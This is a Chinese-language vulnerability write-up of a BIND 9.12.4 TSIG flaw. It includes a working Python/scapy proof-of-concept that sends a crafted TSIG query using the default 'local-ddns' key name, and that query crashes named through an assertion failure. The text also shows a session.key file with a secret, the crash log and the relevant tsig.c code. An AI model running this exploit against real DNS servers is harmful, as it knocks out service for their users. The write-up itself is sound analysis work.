#!/usr/bin/python
#coding:utf-8
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
dst是DNS服务器的IP地址,这里有个rrname="local-ddns"
的配置,这个我们简单介绍一下:
bind软件的用于TSIG会话密钥密钥名称,如果不指定,则默认就是local-ddns
,bind程序named启动后,从存放TSIG会话密钥的文件session.key来看,默认的秘钥值key确实是local-ddns,秘钥算法是hmac-sha256,这就也就是为什么ISC官网说:Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable.
[root@localhost named]# cat session.key
key "local-ddns" {
algorithm hmac-sha256;
secret "QnosxYWRr2GVqnKrxMXGZpI0cuUQ/4f+FROsSyTBV7M=";
};
[root@localhost named]# pwd
/root/bind12/var/run/named
tsig.c:869: INSIST(msg->verified_sig) failed
14-Jun-2020 08:32:00.415 zone example.com/IN: loaded serial 2015012902
14-Jun-2020 08:32:00.415 all zones loaded
14-Jun-2020 08:32:00.415 running
14-Jun-2020 08:32:00.415 zone example.com/IN: sending notifies (serial 2015012902)
14-Jun-2020 08:34:32.215 client @0x7f23c40e2780 192.168.130.180#53: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME)
14-Jun-2020 08:34:32.215 tsig.c:869: INSIST(msg->verified_sig) failed
14-Jun-2020 08:34:32.215 exiting (due to assertion failure)
[root@localhost ~]#
演示环境的bind版本是bind-9.12.4,找到tsig.c代码文件的相关行如下。
/*
* If this is a response, and if there was a TSIG in
* the query, digest the request's MAC.
*
* (Note: querytsig should be non-NULL for all
* responses except TKEY responses. Those may be signed
* with the newly-negotiated TSIG key even if the query
* wasn't signed.)
*/
if (response && msg->querytsig != NULL) {
dns_rdata_t querytsigrdata = DNS_RDATA_INIT;
INSIST(msg->verified_sig);
ret = dns_rdataset_first(msg->querytsig);
if (ret != ISC_R_SUCCESS)
goto cleanup_context;
dns_rdataset_current(msg->querytsig, &querytsigrdata);
ret = dns_rdata_tostruct(&querytsigrdata, &querytsig,
NULL);
if (ret != ISC_R_SUCCESS)
goto cleanup_context;
isc_buffer_putuint16(&databuf, querytsig.siglen);
if (isc_buffer_availablelength(&databuf) <
querytsig.siglen) {
ret = ISC_R_NOSPACE;
goto cleanup_context;
}
isc_buffer_putmem(&databuf, querytsig.signature,
querytsig.siglen);
isc_buffer_usedregion(&databuf, &r);
ret = dst_context_adddata(ctx, &r);
if (ret != ISC_R_SUCCESS)
goto cleanup_context;
}